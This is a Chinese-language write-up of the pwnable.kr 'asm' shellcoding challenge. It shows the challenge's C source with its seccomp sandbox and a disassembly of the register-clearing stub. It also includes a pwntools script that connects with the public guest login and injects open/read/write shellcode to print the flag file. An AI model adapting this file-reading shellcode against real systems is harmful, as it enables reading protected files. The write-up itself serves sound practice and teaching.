pwnable之asm

问题描述

Welcome to shellcoding practice challenge.
In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
If this does not challenge you. you should play 'asg' challenge

asm.c

#include <stdio.h>                                                                                       
#include <string.h>                                                                                      
#include <stdlib.h>                                                                                      
#include <sys/mman.h>                                                                                    
#include <seccomp.h>                                                                                     
#include <sys/prctl.h>                                                                                   
#include <fcntl.h>                                                                                       
#include <unistd.h>                                                                                      

#define LENGTH 128                                                                                       

void sandbox(){                                                                                          
        scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);                                               
        if (ctx == NULL) {                                                                               
                printf("seccomp error\n");                                                               
                exit(0);                                                                                 
        }                                                                                                

        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);                                        
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);                                        
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);                                       
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);                                        
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);                                  

        if (seccomp_load(ctx) < 0){                                                                      
                seccomp_release(ctx);                                                                    
                printf("seccomp error\n");                                                               
                exit(0);                                                                                 
        }                                                                                                
        seccomp_release(ctx);                                                                            
}                                                                                                        

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x
31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";             
unsigned char filter[256];                                                                               
int main(int argc, char* argv[]){                                                                        

        setvbuf(stdout, 0, _IONBF, 0);                                                                   
        setvbuf(stdin, 0, _IOLBF, 0);                                                                    

        printf("Welcome to shellcoding practice challenge.\n");                                          
        printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");            
        printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n"); 
        printf("If this does not challenge you. you should play 'asg' challenge :)\n");                  

        char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);    
        memset(sh, 0x90, 0x1000);                                                                        
        memcpy(sh, stub, strlen(stub));                                                                  

        int offset = sizeof(stub);                                                                       
        printf("give me your x64 shellcode: ");                                                          
        read(0, sh+offset, 1000);                                                                        

        alarm(10);                                                                                       
        chroot("/home/asm_pwn");        // you are in chroot jail. so you can't use symlink in /tmp      
        sandbox();                                                                                       
        ((void (*)(void))sh)();                                                                          
        return 0;                                                                                        
}                                                                                                                                                                                                      

分析
sh可以写入shellcode，sub是对寄存器清零操作。

(ipython)
In [4]: print disasm('\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff')
   0:   48 31 c0                xor    rax,rax
   3:   48 31 db                xor    rbx,rbx
   6:   48 31 c9                xor    rcx,rcx
   9:   48 31 d2                xor    rdx,rdx
   c:   48 31 f6                xor    rsi,rsi
   f:   48 31 ff                xor    rdi,rdi
  12:   48 31 ed                xor    rbp,rbp
  15:   4d 31 c0                xor    r8,r8
  18:   4d 31 c9                xor    r9,r9
  1b:   4d 31 d2                xor    r10,r10
  1e:   4d 31 db                xor    r11,r11
  21:   4d 31 e4                xor    r12,r12
  24:   4d 31 ed                xor    r13,r13
  27:   4d 31 f6                xor    r14,r14
  2a:   4d 31 ff                xor    r15,r15

在sandbox里只能调用open，read，write。

from pwn import *
con = ssh(host='pwnable.kr',user='asm',password='guest',port=2222)
p = con.connect_remote('0',9026)
context.arch='amd64'

shellcode = ''
shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.open('rsp',0,0)
shellcode += shellcraft.read('rax','rsp',0x80)
shellcode += shellcraft.write(1,'rsp',0x80)
p.sendline(asm(shellcode))
print p.recvall()